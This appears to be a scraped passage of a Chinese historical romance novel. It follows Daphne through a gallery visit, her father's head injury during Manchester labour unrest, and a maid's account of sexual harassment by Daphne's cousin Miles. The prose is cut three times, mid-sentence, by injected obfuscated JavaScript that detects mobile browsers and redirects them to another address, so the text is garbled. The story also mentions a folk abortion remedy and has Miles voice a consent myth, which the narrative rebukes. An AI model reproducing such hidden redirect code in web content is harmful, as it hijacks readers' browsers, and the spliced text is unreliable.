真可爱啊。康斯坦丁将握紧的拳头放在裤子口袋里,他必须克制才行。 谁也没有心情看那些名画了,甚至都不曾挪过一丁点脚步。 “我听爸爸说最近工人的事闹得很严重,还有不少打架斗殴的事发生。”黛芙妮觉得时间差不多了该回到正题上了,其实是她再也想不出过渡的话题了,“还有不少工厂主选择离开曼彻斯特一段时间,你呢?” “远远没到需要我离开的地步。”他好像心情好转了,这会儿有点懒洋洋的还有点不屑,“你呢?” “我不会离开,就算离开能去哪里呢?”黛芙妮心情不佳。 狄默奇先生的工作在这里,他们想要维持体面的生活就离不开英镑。 她打起精神来,努力将话题转到她想要的地方:“康斯坦丁,我听说奥斯本·德里奇去了法国是真的吗?” 康斯坦丁挑眉,歪过头盯着她:“德里奇,你认识他?” “不,当然不。我只是听说,你知道的我常去教堂,是那里的教徒告诉我的,说德里奇还欠了工钱没给。”黛芙妮慌张地不敢看他,说谎实在是太煎熬了。 “他还在曼彻斯特。”康斯坦丁侧过身,索性正面对着她。 黛芙妮没勇气和他面对面,就像根柱子一样站在原地,不过他的话让她吃惊:“他还在曼彻斯特?那你知道他住哪里吗?” “帮工人问要债的地址吗?”过了两秒他说。 “嗯……”被盯得受不了,她好热,这里怎么连窗户都不开,“不如我们往里面看看?” 说着不等对方答应率先动起来。 他离她不远,皮鞋不疾不徐的哒哒声如影随形地跟着她。 黛芙妮伸出一只手去摸滚烫的脸颊,差点吓得以为自己生病了。 原来说谎会这么难受吗?心跳得很快,脸烫得能煎鸡蛋,脖子是一点也抬不起来。 随便在一幅画前站定,她缓了一会儿觉得自己好些了于是抬起眼睛,张嘴。 他后一步停下,距离近的她能清楚地看清他衣服上的花纹,鼻子也能最快的捕捉一缕缕香气。 他真的……很英俊…… 黛芙妮瞳孔微缩,脖子又抬不住了,它悲哀地往下垂。 “他有妻子,还有不少情人。”他说,薄唇拉成一条直线微微向下。 “是的——什么?”黛芙妮猛地抬头,“他结婚了?” “是的,五年前。”康斯坦丁脸色看起来居然很可怕,脖子上青筋浮现。 天呐!那桑席岂不是完蛋了! 黛芙妮完全没空也没心思去看康斯坦丁了,她只是一味地沉浸在巨大的震惊中。 她必须得快点把这个消息告诉桑席,在她又勉强坚持地欣赏完两幅画后就推说自己头疼,需要回家了。 康斯坦丁看着她的背影,好几次伸出手试图抓住她,想要问她找他的目的难道就是打听奥斯本吗? 每一次在他以为能抓到的时候又错过,到底是他伸得不够远还是她给他的目标比想象中的远。 48. 冲击 坐在回程马车上,黛芙妮眉目的愁闷像把利器扎在康斯坦丁的心口。 他难得地有些闹脾气,可眼看一百零八号越来越近就再也憋不住了。 “也许我可以问问?你为什么要打听奥斯本。” 黛芙妮就知道用工人做借口瞒不了他,但她才不会承认:“不。我都不认识他,怎么会特地打听呢?” 他看起来脸很臭,也不知道是哪里说错话了,难道是今天的行为古怪的让他以为自己被冒犯了? 过了一会儿黛芙妮小声说:“我以为我们是朋友,更因为我想你也喜欢这些艺术所以我才邀请你......” 康斯坦丁抬着下巴看她,没什么表情但眼睛里好像有一团火,将她照得眯起了眼。 马车突然停下,黛芙妮往外看去。 这条岔路口的另一条道上有一队浩浩荡荡的工人举着牌子游行,拉开一点窗户声音立马变得清晰。 “工贼别想抢走我们的工作!” “我们需要公平!” 等最后一个工人离开,马车才启动。 “这件事还要持续多久?”黛芙妮问康斯坦丁。 “当有一方妥协。”他说。 “我要是问你,你会说是他们对吗?”黛芙妮提到这个话题,她就不太高兴。 “如果我说不是,你相信吗?”他问。 “你们会怎么做?”黛芙妮问。 “一场战争的结束不是因为某一方善心大发,常常是因为一方感到强烈的疼痛,他们不得不停下。”康斯坦丁说。 “你们打算怎么让他们感到疼痛?”黛芙妮有些警惕。 “黛芙妮,你觉得这世界上有哪件纷争是不用付出就有结果的?”康斯坦丁很有耐心地说,“而且你得承认,疼痛才会让人铭记于心。” 黛芙妮觉得他在强词夺理,应该说他始终都是站在上位者的角度看待,冷漠的像俯瞰大地的雕像。 好在康斯坦丁从前做的努力是没有白费的,黛芙妮还记得他的善举对他的观点虽然不赞同但也没对他摆脸色。 “也许你可以在这里将我放下。”黛芙妮正好看到了贝拉,一个好借口应运而生,“我看到了贝拉。” 康斯坦丁敲击车壁,路威尔顿家的四轮大马车稳稳停在贝拉面前。 “黛芙妮?”贝拉被吓了一跳,“路威尔顿先生。” “我们刚刚看完画展回来。”黛芙妮高兴地说,在这里停下就不会被狄默奇太太和卡丽发现,而且遇到了贝拉还能将消息最快地分享给她。 “亨斯通小姐。”康斯坦丁矜持地微点头部,接着转向黛芙妮,“看来我今天是见不到狄默奇太太了,黛芙妮请将我的问安带给她。” 黛芙妮尴尬地露出笑:“当然,你千万别把这件事放在心上。” 康斯坦丁看了她两秒,黛芙妮总觉得对方似乎是知道了。 “这是我给太太和你的礼物,不如我让车夫带到一百零八号吧?”他说着车夫拿了一篮子水果过来。 “不用!”黛芙妮一把抢过,回绝道,“我可以自己拿回去。爸爸说你最近很忙,我已经浪费你不少时间了这点小事我自己来就行。” 等那辆豪华大马车消失在她的目光所及之处时,黛芙妮才能将伪装全部撤下。 跟着贝拉的女佣人将水果拿在手上,安静地走在后面。 “你看起来好红。”贝拉和黛芙妮并排亲密地走着,她很小声地说。 “你都不知道我是怎么过来的。”黛芙妮抚摸胸口,“那种感觉太奇怪太难受了。” “你问到了吗?”贝拉看看四周,贴着黛芙妮说。 “他有妻子,五年前结婚了。”黛芙妮说。她神色不好,教徒将出轨视为对神圣婚姻的破坏,奥斯本先生显然是个道德有缺陷的人。 贝拉吃惊地捂嘴,好半晌才说:“天呐!他不仅是个骗子那么简单!” “我们必须得快点告诉桑席,她瞒不了多久的。”黛芙妮说。 这么想着,两人调转脚步去了加尔顿宅。 加尔顿太太正好不在,去了外面参加聚会。也正是因为这样桑席才敢稍稍哭得大声点。 “他骗了我,他骗了我!”桑席将脸埋在手臂之间,呜呜咽咽。 黛芙妮用同情的眼神望着她,等她稍微缓过来些问:“你打算怎么办?” “我还能怎么办,只能......”桑席的表情因为悲伤和绝望变得空洞。 短短十几分钟的时间足以让出了加尔顿宅的黛芙妮出一头的汗,桑席只能寻求接生婆或游方医生的帮助,但在大城市除非有渠道否则是不可能在路上就碰到游方医生的。 所以她只能找接生婆,但要以寄人篱下又未婚的身份实在是困难重重。 这事黛芙妮也没办法。住在曼彻斯特的几个月并没有使她融入这里、掌握这里,她也不过是一个‘门外汉’罢了。 贝拉倒是愿意试试可也不好说,毕竟她还得瞒着家人。 “我有听说过喝下红花和艾草的混合物可以起到那种作用。”贝拉和黛芙妮嘀咕道。 “你从哪里听来的?”黛芙妮好奇并且怀疑。 “女佣那里。”贝拉摇头。 在一百零八号门口两人分别,黛芙妮拎着果篮回到家中。 面对卡丽的询问,只是心虚含糊过去。 一连几日风平浪静,桑席也没有传话来想来是还没找到接生婆。 黛芙妮想着虽然桑席的宝宝还没有胎动但她也应该为它祈福,脑海里已经有了对祷告词的想法。 比起她安安静静的忧心,迈尔斯近来可谓是火气暴躁,只要在家里就没有不咒骂工人的。 开始他还算收敛可到了半个月后他越来越不愿披着温顺的皮了,总是在那里怪工人耽误他的工作、耽误他的前途。 黛芙妮和狄默奇太太阻止了他好多次都没用,也只有面对狄默奇先生的时候他还能勉强少说几句。 狄默奇先生在饭后照常去了书房,迈尔斯阴沉沉地盯着壁炉,手指不停地摩挲下巴。 “姨父整天早出晚归,没有一点空闲时间,我不明白他这样做是为了什么?”他说。 “为了让工人的想法有个表达的地方。”黛芙妮现在不怎么待见他,语气有些冷硬。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807805|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 迈尔斯不明白狄默奇先生的做法,她还不明白迈尔斯怎么就和康纳姨妈姨父差这么多。 “他们会给钱吗?”迈尔斯摊开一只手,眉毛挑得高高的。 “不。”黛芙妮觉得他无理取闹。 迈尔斯扶额:“天呐,让我说一句吧。黛菲你应该劝劝姨父,他不能继续下去了。如果继续替工人发声你们就没想过会遭到那些资本家的报复吗?” 黛芙妮生气地放下书本,啪的砸在木桌子上:“如果害怕就不去做,那是懦夫!” “我只是认为你们需要理智,冲动可不是一件好事。”迈尔斯说。 “冲动是指不经过深思熟虑做下的决定。”黛芙妮认真地说,“我爸爸不是冲动。” 和迈尔斯不欢而散,黛芙妮气呼呼地去了小会客室,独自生了一会儿闷气便告诫自己——远离恶便是聪明。 下午两人的争论很快便传到了狄默奇夫妇的耳朵里,狄默奇先生对迈尔斯第一次表露了不满的情绪。 迈尔斯却不怎么在乎,照样在一百零八号过得自由自在。 卡丽将餐盘用力放在他面前,他也只会露出一个笑来说:“感谢你的帮助,卡丽。” 弄得卡丽有气发不出,挂了好几天的嘴。 黛芙妮现在由衷地希望他能快点搬出去! 八月的太阳懒懒散散地落下,碧绿的青草摇摇晃晃地和它道别。 黛芙妮站在窗户边给草坪浇水,偶尔她也会自己动手修剪,普普通通的一件小事却能让她感到幸福平静。 “黛芙妮!黛芙妮!” 黛芙妮被喊得心跳漏了一拍,她抬起头来。 “爸爸!” 库克先生和科尔先生夹着昏迷的狄默奇先生一步步走来。 她放下喷壶,急得差点绊倒,如风般冲出家门:“爸爸?库克先生,我爸爸怎么了?” “他被一块石头砸到了脑袋,昏过去了。”库克先生使劲地将狄默奇先生抬上台阶。 卡丽拽着抹布大呼小叫地过来:“天呐!天呐!狄默奇先生!快!放在这里!惠特妮,快去请医生!” 惠特妮早在她喊前就冲出门了,机敏地区别于平日里的老实。 科尔先生和库克先生将狄默奇先生小心地放在沙发上,将他脸朝下露出血迹斑斑的后脑勺。 黛芙妮跪在地上,眼里含了泪水:“卡丽,毛巾和热水!” 狄默奇先生早晨出门整洁的白衬衫领口被血渍浸湿,黑色的西装外套皱巴巴的还有划痕和灰尘。 同样狼狈的还有库克先生,他的脸上还有好几道伤痕,帽子也没了一头短发胡乱地翘着,胡渣冒了大半张脸。 科尔先生眉头紧锁,浑身脏兮兮的还有股去不掉的机油味,他站在沙发边。 黛芙妮心疼又不敢去碰。最后听到动静下来的狄默奇太太腿一软差点倒在地上。 “约翰......发生什么了?”她跪在黛芙妮身边,好几次伸手想去触碰躺在那里的狄默奇先生都不敢下手,生怕加重病情。 库克先生一脸愧疚,他始终低着头说话:“我们今天去了棉纺基地。” 49. 意外 一大早,狄默奇先生和库克先生按照计划,决定去探访几家愿意接受访问的工人家庭。 刚开始还一切顺利,可没想到在准备离开的时候遇上了一起斗殴事件,库克先生看不过单方面的殴打上前阻止。 身后的狄默奇先生不幸被一块石头砸到了后脑勺,当即晕了过去。 今日正好没有让车夫接送,库克先生只好和闻讯赶来的科尔先生一起奋力将狄默奇先生抬回来,好在半路遇上好心人借用了马车回到一百零八号。 “是考麦克和波米恩做的,他们当时打算将比利时人赶出去。”科尔先生语气低沉,“抱歉。” 库克先生摸了一把脸:“艾尔莎你想怎么骂我都可以,如果不是我提议......” 狄默奇太太擦干泪珠,侧坐在狄默奇先生手边没有说话。 道奇载着医生匆匆赶来,在简单的检查后医生边包扎边问:“病人有醒来过吗?” “没有。” “是什么打击的?” “石头,大概拳头这么大。” “有吐血或是呕吐吗?” “没有。” 医生直起身说:“他的颅内不敢保证是否出血,一切得等狄默奇先生醒来才能进一步判断。” “医生,我爸爸什么时候能醒来?”黛芙妮问。 “看样子大概是晚上,之后的几周甚至几个月内他很有可能只能在暗室中静养,避免任何的光线刺激或体力活动。”医生认真地盯着狄默奇太太,“如果他醒来后觉得想吐、头疼是正常情况,你们可以给他用鸦酊。如果实在忍不了我再来,到时候大概是要放血治疗。” “太太,你也得有准备,头部是我们还不能涉足的部位,狄默奇先生也有可能出现一辈子的后遗症……” 黛芙妮白了一张脸,一双眼睛瞪得大大的。 医生走后那道关门声简直是一道警告的枪声,狄默奇太太剧烈地喘气但她不能闭上眼睛:“我们需要把约翰搬去楼上。” 从医生开口诊断后,愧疚得要爆炸的库克先生立马站起身,他和科尔先生小心翼翼地将人抬到二楼的空房间。 惠特妮利索地拉上窗帘,抱来被子和枕头,又匆匆下了楼去端热水、毛巾和剪刀。 卡丽被她衬得像个摆件。 “一会儿用剪刀剪开先生的领口,方便上药。”惠特妮说。 “谢谢。”黛芙妮感激道,这还真是她没想到的。 一百零八号谁也无心招待两位先生,只能派黛芙妮将他们送到门口。 “黛芙妮,对不起。”库克先生的眼睛红彤彤的,胡渣更是一眨眼一长,现在看风都快能吹动了。 “黛芙妮小姐,我一定会给你们一个交代,狄默奇先生的医药费我们会想办法。”科尔先生说。 他穿着一尘不变的破外套,脑袋上是一顶灰色粗制毛线帽,很寒酸。可他是认真的,黛芙妮能感觉到。 她什么也没说,送他们离开后她又跑着回到二楼,卡丽拿着剪刀将狄默奇先生的衣物剪开。 黛芙妮走过去抱住狄默奇太太,出神地望着狄默奇先生:“爸爸会没事的。” 还没到晚上,耳目灵敏的邻居们一拨一拨地上门,狄默奇太太不得不打起精神来招待他们。 黛芙妮坐在床边,不愿下去。 咚咚咚,缓慢有力的敲击声拉扯了她的目光。 贝拉怜悯地看着她。 黛芙妮立马撇过脑袋擦擦泪水,随她站在走廊上。 “你们请的医生在艾弗林奇先生的药店工作。”贝拉低声说,她握紧黛芙妮冰冷的双手试图给予她一丝半缕的温暖。 黛芙妮抱住她,低声啜泣:“我一点也不喜欢这样。” 不只是狄默奇先生受伤,资本家和工人之间的矛盾,还有曼彻斯特。 “黛芙妮,我听说姨父出事了!”身后迈尔斯的高喊随着他鞋底踏在木制楼梯上的声音响起。 黛芙妮放开贝拉,用手帕擦拭脸颊。 迈尔斯眼里似乎只有黛芙妮:“姨父怎么样了?” “还没醒。”黛芙妮有些欣慰,迈尔斯心里还是惦念着爸爸的。 “我不应该出门的。”迈尔斯关切地说,“我刚刚实在是吓坏了,姨父那么好的人他这么看重我又对我像亲儿子一样。” “爸爸会好的。”黛芙妮安慰他和自己,接着和贝拉说,“不如我们下去吧?” “你待在狄默奇先生身边吧,我想他一定希望一睁眼就能看到你。”贝拉说。 “噢!亨斯通小姐,原谅我这会儿才和你问安。”迈尔斯惊慌地弯腰。 “没关系。”贝拉摇头,“任谁来都会体谅的。” 迈尔斯露出一个感动的表情,他和黛芙妮目送贝拉离开。 接着他推开门和黛芙妮一起看向昏睡中的狄默奇先生。 “医生怎么说?”他问。 “今晚能醒,但是他不好判断爸爸是否会有后遗症。”黛芙妮伤心欲绝地靠在门框上,万一醒不过来她很可能会失去她人生中最重要的导师和亲人。 “怎么回事?” “被工人用石打到了后脑勺。” “打到后脑勺了......”迈尔斯低喃,有点像自言自语。 “你刚刚说什么?”黛芙妮问。 “没什么。我只是心痛。”迈尔斯说,他将手放在黛芙妮的肩膀上,“别担心,还有我。” 黛芙妮没说话。 “我想姨父醒来最想看到的就是你,我去楼下帮帮姨妈她一个人坚持不了的。”迈尔斯叹气,“那么多客人不好让他们感觉招待不周,怎么说我也是姨妈的侄子。” 黛芙妮本来背对着他,听他伤心的语气心里还有点安慰,她转过身说:“谢谢你,迈尔斯。你的手怎么了?” 迈尔斯的右手被绷带缠绕了几圈。 “最近我总是担心姨父,不小心受伤了。”迈尔斯盯着自己的手背,淡淡地说。 他走后,黛芙妮又重新坐到卧室里的单人沙发上,盯着一个方向出神。 期间艾弗林奇先生上来了一回,他是一名经验丰富的医生说了好些建议和他的诊断。 “如果有需要大可以让人来找我。”他说。 “谢谢——”黛芙妮站在走廊上,看见他下楼即将消失的那一瞬间蹙眉,双手猛地捏紧。 隔着一层朦胧的雾气,第四个人出现在她面前。 康斯坦丁的脚步声在安静的走廊里特别清晰,高大的身影将她笼罩,他在她面前几步的距离站定。 黛芙妮想说话但不得不先把喉咙里的那股郁气咽下去。 康斯坦丁将折叠整齐的白帕子放在她眼前。 “谢谢。”黛芙妮喉咙顺畅后,接过手帕侧过身,“我爸爸在里面躺着,还没醒。” 康斯坦丁在门口看了一眼又关上了卧室门,将声音锁在狭窄的走廊里。 “请别客气,只要能让你心情好点,我可以做什么?”他低声问。 “我甚至不知道我能做什么。”黛芙妮手里还拿着他和她的手帕。 “你想将肇事者送进监狱吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818880|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他问。 “我——”黛芙妮茫然,她知道对方不是故意的也知道一切不过是为了生存,刚刚库克先生和科尔先生带着那俩人来了一百零八号郑重道歉,诊费也一并带来了。 二十枚英镑不少了,她知道靠一个工人是拿不出来的,所以这笔钱也许是几十个或几百个工人凑出来的。 “我不知道。”黛芙妮用帕子捂住脸,一股月桂的香气钻进她的鼻腔,这不是她的帕子。 走廊没有窗户,只有两盏汽灯兢兢业业地工作,加之宽度不过只可两个人并排行走,康斯坦丁和黛芙妮又为了不打扰狄默奇先生特地站在尽头交谈。 猛地回过神,原来他们的距离是那么的危险。 康斯坦丁能闻到黛芙妮身上的香味,往常大部分时间是淡雅的带点甜甜的味道,今天有点潮湿像雨后的混合味。 很神奇,能随着她的心情摇摆变化,有时候他想这真的是香水能有的味道吗? 她只到他的喉结,这会儿低着头微微弯腰比起他来说更小了。 他不由自主地伸出手想要去碰她,舒展开的手指动了一下握拳又放下了。 真的会那么伤心吗?康斯坦丁已经记不得父母离世时的情绪了唯一深刻的印象是他自由了更有力量了。 从有意识开始他尝到的都是苦味,就算有钱有权后也不过是减淡了这种味道,不过他知道人们都追求甜味,远离酸苦。 他勾起嘴角嗤笑一声,眼神变得怜悯还带了一点点喜爱。 目光放在黛芙妮身上,他还是那副有点慵懒的冷冰冰的嗓音响起:“真可怜。” 插在兜里的双手不用力的话就会暴露自己不适宜的情绪。 “什么?”黛芙妮抬头看他。怎么好像有些奇怪呢? “我说——真遗憾。你得振作起来,狄默奇太太需要你。”他说。 黛芙妮立马被他带走思维:“还好有迈尔斯。”松下眉毛。 不论平日有多大的不满,在这样危机的时候至少迈尔斯是可靠的。 “怎么不见德里奇先生。”他的声音‘尝’起来有点像刀锋逼近了心口涌起的毛骨悚然的滋味。 “他怎么会在这里呢!”黛芙妮放下手帕说,“康斯坦丁你这么说会让人误会的。” “如果你没有和别人说过,那只有我会误会了。”康斯坦丁盯着她幽幽地说,不肯错过她一丝微表情。 黛芙妮苍白的脸颊泛红,她又一次为这件事感到烦躁:“我愿意和你说——请你不要误会。” “好。”他答应得很快。 他应得干脆,黛芙妮也能松口气,再次强调:“我和德里奇先生确确实实没见过面,没接触过。” 说完她又别扭起来,怎么还特地再解释一遍。 “嗯。” 很短促,但是挑起的情绪更强烈。 她摸了一把脸颊又闻到了手帕上的月桂香味,仔细一看白色丝质的手帕四个角都绣了月桂的花样。 “原来你喜欢月桂?”她脸色尴尬了一瞬,因为她的名字和月桂是一样的发音。 “你不觉得月桂很圣洁吗?美丽、高贵、智慧。”康斯坦丁说。 “是啊。”黛芙妮说,然后眨巴眼睛转移话题不想继续陷在奇怪的氛围里,“等我洗干净还给你。” 康斯坦丁随意点头,他打开怀表,分针转动了十分钟他不得不离开了。 “我得走了,黛芙妮。” “再见,康斯坦丁。”黛芙妮将他送到楼梯口,重新窝在沙发上,好半晌才发现自己的手热乎乎的。 50. 伤病 狄默奇太太疲惫地将邻居、朋友们送走,再次返回这间卧室和黛芙妮一直守到半夜才等来狄默奇先生的睁眼。 “约翰,约翰,告诉我你哪里不舒服?”狄默奇太太趴下身子,一手悬在半空,侧过半边焦急的脸将耳朵凑到狄默奇先生嘴边。 “爸爸。”黛芙妮从沙发挪到了床的另一边。 狄默奇先生痛苦地将五官扭曲在一起,一双眼睛微微睁开又使劲闭上,嘴里吐出的只有痛呼。 狄默奇太太拿起准备好的镇痛药剂,打算喂给他。 “我的头。”只是轻轻挣扎了几下,就满头大汗的狄默奇先生说。 “快来,黛菲。”狄默奇太太直起身。 黛芙妮小心翼翼地托起狄默奇先生的上半身,尽量不碰到包扎好的后脑勺:“爸爸,您忍忍,喝了药就不会那么痛了。” 狄默奇先生勉力撑开眼皮,用这个别扭的姿势将鸦酊药剂喝下去。 他粗粗喘着气,很想说点什么但无能为力。 “睡吧,睡吧。”狄默奇太太放下杯子,轻轻抚摸狄默奇先生的背部。 卧室又恢复了安静。 门外传来踢踏声,卡丽推开门拿了两盘晚餐上来。 黛芙妮拿走她的,站在走廊里咀嚼,狄默奇太太也跟了出来还将卧室门关上。 三人往楼梯口走了几步。 “快吃吧。”卡丽催促。 餐盘里是烤香肠、烤蘑菇、土豆泥和切成正方形的白面包,非常简单的一餐,看来她也没了心思大展身手了。 黛芙妮虽然没什么胃口但也知道必须得进食,她努力地往嘴里塞一刻不敢停直至吃完。 卡丽接过她的餐盘放在地上,又从刚走上来的惠特妮手里接过热水,倒给黛芙妮。 “我让惠特妮烧些热水再走,晚上我就守在厨房免得变冷,先生什么时候想用都能用上。”卡丽压低声音说。 惠特妮站在一楼的楼梯上只露出一张脸,她抬手从地上拿走黛芙妮的餐盘:“我可以留下,我晚上没有安排。” “谢谢你,惠特妮。薪资会给你加上的。”狄默奇太太将餐盘递给卡丽,朝惠特妮说。 “太太,我熬了肉汤还有加了醋的蜂蜜水,先生醒了吗?”卡丽问。 “他刚刚喝了鸦酊药剂,这会儿又睡下了。”狄默奇太太说,“等我摇铃吧。” 卡丽和惠特妮回到地下室,黛芙妮和狄默奇太太趴在床尾或是靠在沙发上。 到了凌晨两点狄默奇先生又醒了,这回他感觉好受多了,没有第一次睁眼时那么恶心、疼痛、眩晕。 但是他还是只能趴在枕头上,并且不可能随意摆动头部。 “别哭。”他轻轻回握狄默奇太太的手,又用眼神安抚黛芙妮。 狄默奇太太亲吻他的手心:“你饿了吗?” “不。”狄默奇先生又闭上了眼睛,“别怪安德鲁,这是意外。” 黛芙妮将脸埋在肩膀上,缓了缓说:“我们只希望你能快点好起来。” 咚咚咚,迈尔斯露出脸:“我听到动静。” 他跪在狄默奇太太的另一边,忧心地看着狄默奇先生:“姨父。” “迈尔斯。”狄默奇先生看了他一眼又闭上眼睛,大概闭眼能节省他的体力。 “我会好好照顾姨妈和黛菲的,你别担心。”迈尔斯说。 “唔......”狄默奇先生哼哼两声。 一周过去,狄默奇先生还没好转,仍然只能趴在床上依靠鸦酊来压制疼痛。 之后艾弗林奇先生建议减少鸦酊的使用,频繁的摄入并不是一件无害的事。 为了让狄默奇先生快些好起来,在此期间他还亲自来进行了一次放血治疗。 如果不是没办法狄默奇太太和黛芙妮是不可能同意的,因为放血治疗的失败率非常高,很容易前面的毛病没治好又直接导致死亡。 可惜放血治疗并没有让狄默奇先生好转,在一百零八号急得团团转的时候康斯坦丁带来了一位外国来的医生,对方用了很多仪器和手段确定狄默奇先生脑部没有瘀血,又用了很多她们都叫不上名字的药剂。 “上帝保佑。” 黛芙妮推开小会客室的窗户,抬起头看向天空又移到两个欢快跑过的孩童身上。 可惜再快乐的风进了一百零八号也会变得哀切,它们轻快地流进来围着黛芙妮转一圈然后沉重的出去。 “上帝保佑。” 狄默奇太太跪在垫子上,闭眼虔诚地握住十字架,重复重复。 “上帝保佑。” 惠特妮推开门:“库克先生来了。” 黛芙妮独自前去招待。 “黛芙妮,我打算发表一篇报告,关于工人的生存环境、薪资状况以及受到的非人对待。”库克先生说,“这是我和你爸爸在外奔走那么久的成果,我将它整理了出来。” 他将终稿递给黛芙妮。 这一叠纸轻飘飘的,但它的代价却沉得让人无法呼吸。 “库克先生,如果,我是说如果——”黛芙妮抬头看他,“这一切努力都是白费怎么办?” “黛芙妮,我和你爸爸一开始也没想过能起多大的帮助。我们这么做是因为我们觉得需要有人站出来,而我们愿意做那个‘需要的人’。”库克先生说,“我明白你的感受。你可以怪我非要带你爸爸去棉纺基地,可以怪那天工人非要发生的争执甚至可以怪那块为什么出现在地上的石头,但是千万别否定你爸爸的付出。” 黛芙妮独自一人捏着报纸,轻轻啜泣。 “黛菲?”狄默奇太太出来找她,“你怎么哭了?” 黛芙妮擦干眼泪:“没什么。” 狄默奇太太又去了二楼,而她决定先待在一楼,仔细地看起那几张纸。 “小姐。” “惠特妮?有什么事吗?”黛芙妮抬头问。 惠特妮双手拽紧了裙子两侧,一对淡淡的眉毛微颤,眼睛不敢与人对视:“我想辞职。” 她说得很艰难,甚至手背的青筋都得鼓动才行。 “为什么?”黛芙妮不解,“你遇到什么事了吗?还是说担心我们发不出薪资?” 如果是后面这个问题,那她确实没有办法给一个保证,可至少几个月内是没问题的。 “如果你担心薪资,我可以保证只要你在一天我们就不会克扣一法新。”她说。 “不是的,你和太太、先生是难得的好人家,不吝啬还会关心我!还有卡丽,她就像我外婆......”惠特妮难过地说。 黛芙妮盯着她那张瘦小但清秀的脸蛋,然后想起了之前卡丽曾和她说过的话,一股荒诞和不可思议没过她的心尖:“难道是——有些人,对你做了一些——” 惠特妮难堪的抬起头,一双泛红的眼睛直勾勾地盯着她:“小姐,我不想过多述说我的遭遇,但我也是好人家的女儿不能因为我贫穷就不配得到尊重。” 黛芙妮站起来,拉过惠特妮的手压低声音:“是不是迈尔斯对你做了什么?” 说完又怕惠特妮认为她会包庇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828447|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又开口:“如果是的,你一定要告诉我,我永远不会包庇他,最起码我得让他和你道歉。” 惠特妮用手背擦擦眼泪:“他总是在卡丽不在的时候企图猥亵我,有一次差点让他得逞我用热水壶烫了他的手才躲开。” “他将我当成免费的妓女。”她说。 “对不起,我以为妈妈和他谈过后他会改正的。”黛芙妮十分愧疚。 “小姐,这不是你的错。”惠特妮无奈地摇头,“也许是先生生病让他有了错觉吧。” “什么?”黛芙妮说,看到惠特妮摇头后继续开口,“如果你要离开请再等一等,至少迈尔斯必须和你道歉还要补偿你的损失。” 惠特妮在她坚定的眼神中点头,一步三回头地回到了地下室。而黛芙妮则坐在大会客室等迈尔斯回来。 自从搬来曼彻斯特,她被人说天生就淡淡的脾气也有了多次的波动,她越来越多次地尝到了愤怒、无措、愧疚的情绪。 她被越来越多的情绪、欲望影响,心里泛起一阵惶恐...... 六点,迈尔斯准时推开一百零八号大门。 他大概是没想到这个点黛芙妮会坐在大会客室而不是在二楼,吓了一跳。 “黛菲!”他说,“你怎么在这里!我还以为你在照顾姨父,是因为姨父好多了吗?” “爸爸还是老样子。”黛芙妮沉闷地说,“迈尔斯,我们需要聊聊。” 可能她此刻脸色有些难看,迈尔斯很听话地在她身边坐下,还伸出手打算试试她的额头温度。 黛芙妮躲开了他的手,声音不愉:“你最近和那位小姐处得怎么样?” 迈尔斯放下手,靠在沙发上:“她想和我结婚,让我有一个自己的家,当然这没什么问题!可是现在姨父出了事情我怎么能就这么离开,她不理解我。哎,我们分开了。” 黛芙妮转头看他:“那你觉得惠特妮怎么样?” 迈尔斯眨了一下眼睛,他那双蜜糖色的眼睛闪过疑虑:“她是个勤劳的女人,配合卡丽做自己的本职工作,没有任何问题。如果你说之前的事我已经和她道过歉了,现在和她没有关系了。” “你不喜欢她吗?”黛芙妮问。她居然看不出一点迈尔斯异样的情绪,仿佛一切都是如他说的那样。 “我觉得她是个不错的佣人,将你照顾得那么好。”迈尔斯说,他笑了起来,“你怎么突然这么问我?” “迈尔斯,”黛芙妮深呼吸,看来迂回对他没用,“为什么还要欺负惠特妮?” “你在说什么,黛菲?”迈尔斯惊呼,“我——” “妈妈和你聊过的!”黛芙妮压着嗓子说,“你根本没放在心上。如果你喜欢她你大可以光明正大地追求她,而不是将她当作——” “她和你说了什么?”迈尔斯问。 “不管她和我说了什么,都不影响你对她做了什么。”黛芙妮说,“你必须再次!再次!和她道歉并赔偿她的损失。天呐!什么时候名誉可以用钱来衡量了,太可怜了。” 迈尔斯抹了一把脸,伸出一只手:“停,停。黛菲——” 他对上黛芙妮饱含怒气的眼睛,不负刚才的平静:“如果你希望的话,我可以这么做。” 黛芙妮瞪大眼睛:“我希望?你难道不觉得自己有问题吗?” 迈尔斯看她一眼笑一声:“我和你保证在那之后我和她没有一点联系了。但是有一点黛菲你得承认,男女之间有时候并不需要一个承诺,一个眼神一个动作就是同意的信号。别相信她的卖惨。” 51. 真与假 “你什么意思?”黛芙妮愣神。 